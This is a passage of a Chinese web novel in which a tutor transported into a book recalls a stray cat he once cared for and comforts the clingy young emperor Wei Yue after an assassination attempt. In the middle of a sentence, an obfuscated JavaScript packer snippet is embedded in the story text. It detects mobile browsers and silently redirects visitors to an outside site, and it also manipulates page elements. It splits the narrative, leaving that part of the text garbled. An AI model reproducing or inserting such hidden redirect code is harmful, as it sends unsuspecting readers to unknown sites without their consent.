他本想根据从网上查到的建议,给它治好伤、在宠物医院做了绝育就放归,但宠物医生说它身体指标不适合做绝育了,而且它之前会出车祸,应该就是因为年纪变大身体变差、眼神不好以及行动迟缓了。 也就意味着,如果治好伤就放它继续回去流浪,那它大概也活不了多久。 因为这个,温催玉最终把猫带回了家,反正他一个人住,没有家长管他养不养猫。 但猫祖宗没有“寄人篱下”也没有被收养的认知,只觉得自己被绑架了似的,仍然对温催玉龇牙露爪,吃东西也一定要藏到角落里,看到温催玉的人就跑。 温催玉倒无所谓,反正他也不是因为喜欢猫、想要它的亲近才养它的。 就这样过完了暑假,彼时在读高中的温催玉开始回学校上课。他是走读,晚自习下课后会回家。 就在返校上课的第一天,晚上回到家后,温催玉发现此前一直对他如避洪水猛兽的猫祖宗居然主动现身了,不仅会在他面前晃悠,吃东西也不藏起来了,还试探着跳到了他身上。 温催玉当时站着,肩头猝不及防落下一只猫,这猫祖宗经过一个暑假的喂养,已经长得十分膘肥体壮,差点给脆弱的温催玉压倒。 从那天开始,温催玉就发现小猫特别黏着他了,只要他在家,哪怕只是从客厅到厨房,小猫都要一直跟在他身边。 后来温催玉才反应过来,大概是此前整日在家的他突然开始早出晚归,留下小猫独自在家,让它在兵荒马乱中终于意识到了家里另外一个活人的意义,它可能是怕他突然消失了。 到小猫去世之前的日子,温催玉已经可以随便盘它了,小猫不再像最初那样龇牙,只会用一双圆溜溜的眼睛看着他——猫太老了,流浪期间造成的身体损伤补不回来,温催玉养了它两年,它就离开了。 几年前的事了,小猫离开的时间已经比它在温催玉身边的时间都还长,温催玉其实不太会总想起它。 可没想到,有朝一日会在另一个人身上,看到那么相似的目光——依赖满得要溢出来,同时很期待他也能回馈很满的爱,藏着的是没有安全感的本质。 温催玉被盯得心头泛软,他抬起手,本来想要一如既往摸摸卫樾的头,但卫樾随着他的动作俯身凑过来,正好让温催玉摸到了他的脸。 卫樾一怔,眨了眨眼。 温催玉笑了下,索性就这样又摸了摸卫樾的脸颊,温声道:“阿樾,老师在呢,不用这样一直守着。你放心,老师不会突然消失、离开你的。” 卫樾乖顺地“嗯”了一声:“我记住了,老师说话算话。” 温催玉看着他,心想,虽然在祖宗脾气上有些相似,但卫樾和猫毕竟不一样。 他遇到小猫时已经太晚了,而且他能给小猫兜底,无须它学会什么。 但卫樾是个活生生的人,还坐在大燕皇位上,卫樾需要成长。 幸好的是他们遇到的时间还不晚,都还来得及,他不会让卫樾像曾经的小猫一样死在他眼前,原书剧情里的结局不会复现。 …… 虽然卫樾很想,但温催玉坚持自己吃饭自己喝药,不要他喂。 饭后,温催玉其实有些精力不济了,但刚吃完东西又喝了药,胃有点撑,这会儿就躺下,他也难受,索性坐着继续和卫樾说话。 “老师,你说我现在开始学武,还来得及吗?”卫樾一本正经地问。 温催玉懒洋洋地回答:“我不太了解这方面,但学一学应该也没坏处?哪怕学不成,多少也能强身健体。” 卫樾:“我得学成……这样万一再遇到危险,不至于像今天这样,毫无还手之力。” 温催玉轻声宽慰:“有这目标倒也挺好,但不能操之过急,不然怕适得其反。而且我猜测,短时间内,庄王应该不会再安排刺杀了,不论真假刺杀。” 卫樾想了想,点了下头,慢慢分析:“有道理。他这次安排假刺杀,主要是为了离间老师和我的感情,二来说不定也有做给其他大臣看的意思——看到了吗,敢对陛下好,就是这个下场。” “如今围场的朝臣们应该都知道我们遇刺的事了,多半都会怀疑是庄王为了杀鸡儆猴。” “而今天这次刺杀,老师和我没有出事,是因为庄王派来的刺客大意、以为离间计划成功了,所以没有其他行动。但别的大臣不知道这一点,只会以为是庄王‘点到为止’,大发慈悲地松手了。这样看,他杀鸡儆猴的效果也能达到了。” “可如果庄王不忿这次被骗、卷土重来,安排第二次刺杀……若是成功了,倒还好说。若是又失败了,必然会让其他朝臣结合两次刺杀行动,怀疑是他无能。” 温催玉一脸欣慰地听完,夸道:“阿樾分析得很好。没错,尤其是我还是个无名小卒,庄王若是因此接连暗中刺杀还失败,其他朝臣必然怀疑庄王威严。” “成功杀了我,对庄王来说没有收益,留下我,也不见得多有风险,庄王没必要赌杀我第二次还失败这种可能,有第一次刺杀,显得他耳聪目明就足够了。” “便是还想针对,应当也是明面上来。” 说着话,温催玉越发困倦,便想要回他自己的营帐去睡了。 但卫樾听到他要走,抓住了他的衣袖,眼巴巴地把他望着:“老师,你就在我这里睡吧,反正也睡得下……今天先是遇刺,又因为老师昏睡不醒而担惊受怕,庄王的人还故意用尸体吓唬我,我想想就害怕,老师你陪陪我好不好?” 温催玉看着这样的卫樾,觉得他跟小羊羔似的,就差一双湿漉漉的眼睛了。 虽然知道卫樾大抵是卖惨撒娇的成分比较多,但温催玉还是忍不住心软——今天的确发生太多事了,卫樾再心高气傲,有些后怕也是正常的。 而且卫樾这么撒娇,就是为了和老师一起待着,多好的学生啊。 温催玉摸了摸卫樾的头:“好,那老师今晚留在这里陪阿樾。对了,子白还在外面守着吗?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15362188|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去跟他说一声,让他自己回去睡吧……” 卫樾不高兴地把温催玉拉回来:“你总惦记他干什么,难道他困了还不知道睡觉吗……好吧好吧,我去说,老师你坐着,别去门口吹风,你才退烧没多久。” 接着,温催玉就见卫樾走向营帐门口,撩了一截帘子对外面吩咐:“打水来,朕和老师要洗漱。至于你,老师让你别在外面碍眼,赶紧滚。” 显然前一句是对蔡庆说的,后一句是对卢子白说的。 温催玉:“……” 然而卫樾会变脸,一转身回来又是一副乖顺模样了:“老师,等蔡庆送水来了,我帮你擦脸洗脚。” 温催玉无奈:“阿樾,你知道我能听见你方才对外面说了什么吧?” 卫樾理直气壮:“老师,我方才真的是故意的。我没忘记你今天才教过我什么,但现在不是还没到时候吗,我还需要张扬跋扈,免得庄王不放心、又搞阴谋诡计,你说是不是?” 温催玉:“……罢了,慢慢来吧。” 蔡庆很快带人送了热水来,卫樾不要他们伺候,把人赶了出去,自己捞起袖子拧帕子。 温催玉左手不能用力更不能沾水,所以没争着要自己来,只是等卫樾拧好帕子,伸出右手准备接过来。 但卫樾躲开了手,坚持道:“我帮老师擦脸,老师你放心,我动作很轻,不会弄疼你的。” 温催玉轻叹了声:“阿樾,老师知道你这会儿正新鲜着,想和老师亲近些,但不必这样,我也喜欢力所能及的事情自己做。” 闻言,卫樾抿了下唇:“我知道了……那就这一次好不好?” “你受伤了,还是被我牵连的,我不好好照顾你,我会很难受……不都说‘一日为师,终身为父’吗,老师,我没见过先帝,也不想认他当爹,我也没见过清醒的母妃……如今你就纵纵我,让我体验一下孝敬亲长的滋味,好不好?” 卫樾的语气十分低落。 温催玉听得都怀疑自己是不是说了什么天理不容的话……他不就只是拒绝了卫樾亲自帮他擦脸吗? “罢了罢了,你来吧。”温催玉无可奈何地闭上眼睛。 卫樾高兴起来,把有点凉了的帕子又洗了一遍,接着轻轻落到温催玉的脸上,擦过他的眉眼。 离得太近,卫樾嗅着温催玉身上的清淡香气,放轻了声音:“老师,你身上是白檀香的味道吧?” 温催玉有点意外,阖着眼回道:“白檀香有药用,舒缓气闷神滞,又能温和脾胃,我便常年点着。阿樾你分辨得出白檀香的味道?味道很明显吗?” 是老习惯了,刚穿到这个书中世界时,屋子里没有白檀香的味道,温催玉还挺不习惯,便自己去铺子里挑了和从前点的味道最相近的,如今在太傅府里也没断。 擦好了脸,卫樾放下帕子,温催玉也睁开了眼睛。 卫樾回答:“离近了能闻到。我登基之后不是一直游手好闲吗,曾经去太医院捣鼓过药材,把太医们折腾得够呛,这白檀香的味道,就是在那里闻过记住的。” 温催玉抬起手嗅了嗅:“那大概是我点的时间长了,衣衫上都沾到了,我自己平日里闻习惯了,倒没注意……阿樾?” 卫樾突然又靠近了些,比方才给温催玉擦脸时的距离还近,他微微垂首、鼻尖几乎贴到温催玉脖颈间。 深嗅了一下之后,卫樾直接抱住了温催玉,环着他的腰身,把脸埋到温催玉肩窝处,他呢喃着说:“老师,我好喜欢你身上的香味……” 温催玉微微蹙眉——卫樾大概是从没跟人亲近过,所以只知道本能地靠近。 但卫樾毕竟和他养过的小猫不一样,更不是一只可以热情往主人身上挤的同时,还拼命抽动鼻子闻味道和嘤嘤叫的小狗……这样的举动有点怪异了,不太合适。 即便是寻常人家感情好的父子兄弟之间,应当也不会这样抱着闻来嗅去……